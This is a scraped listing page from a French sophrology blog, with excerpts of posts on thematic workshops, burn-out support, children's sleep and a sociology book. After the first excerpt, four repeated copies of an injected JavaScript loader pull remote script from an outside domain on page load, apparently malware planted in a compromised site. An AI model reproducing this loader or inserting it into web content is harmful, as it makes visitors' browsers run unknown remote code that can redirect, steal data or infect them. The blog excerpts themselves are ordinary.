Un atelier, Un thème.
Vous avez peu de temps, vous voulez intégrer rapidement 1 ou 2 techniques, vous souhaitez avoir un aperçu de la sophrologie ? Les ateliers thématiques sont fait pour...
Read More;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn");
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Read MoreIl suffit d’ouvrir la porte La sophrologie est une éducation, une rééducation aux sensations. Qu’est-ce que ressentir ?* Les adultes, et de plus en plus d’enfants, ne savent plus...
Read MoreLa rentrée des classes est passée, vous êtes à nouveau dans le rythme…ou pas :). Vous avez décidé cette année d'être zen, calme, serein, en toute circonstance. Où en...
Read MoreQue ressentent les personnes après une séance de sophrologie? Parfois rien, surtout au début, quand ils n'ont pas encore appris à entendre ce qui se passe en eux. Ou quand ils se disent à...
Read MoreJ’ai accompagné pendant 1 an une personne en situation de burn-out. Epuisé physiquement et psychiquement, il s’enfermait dans les toilettes de l’entreprise pour pleurer et avait des sueurs froides...
Read MoreLes enfants ne sont pas épargnés par les perturbations du sommeil. Tout comme les adultes, ils ont des soucis, des pensées parasites, des craintes, voire des phobies. Une dispute dans la cour de...
Read MoreJe lis encore parfois des auteurs sociologues ou anthropologues, retour à mes premières amours. Je suis tombée par hasard sur le nouveau livre de Françoise Héritier, "le sel de la vie". Je...
Read MoreLes ateliers ont lieu le dimanche de 10h à 13h. Ils sont essentiellement pratiques, l'objectif étant de repartir avec des bases solides d'apprentissage et de vrais outils. Chaque atelier comporte...
Read MoreMercredi il y a 15 jours j'étais à la Maison des Parents de Gennevillers. Dans un quartier où il est parfois difficile de sortir du quotidien, de prendre du temps pour soi et avec ceux qu'on aime. Il y avait 3...
Read MoreIl y a une technique en sophrologie qui se nomme "sophro présence immédiate". Cette technique à pour but de renforcer le positif à l'intérieur de soi, d'activer...
Read MoreHier, une amie me téléphone pour me dire qu’elle a trouvé une thérapeute très bien. Cinq minutes plus tard dans la conversation, j’entends des phrases telle que « je ne suis pas une mère » « ma grand-mère et ma mère étaient comme...
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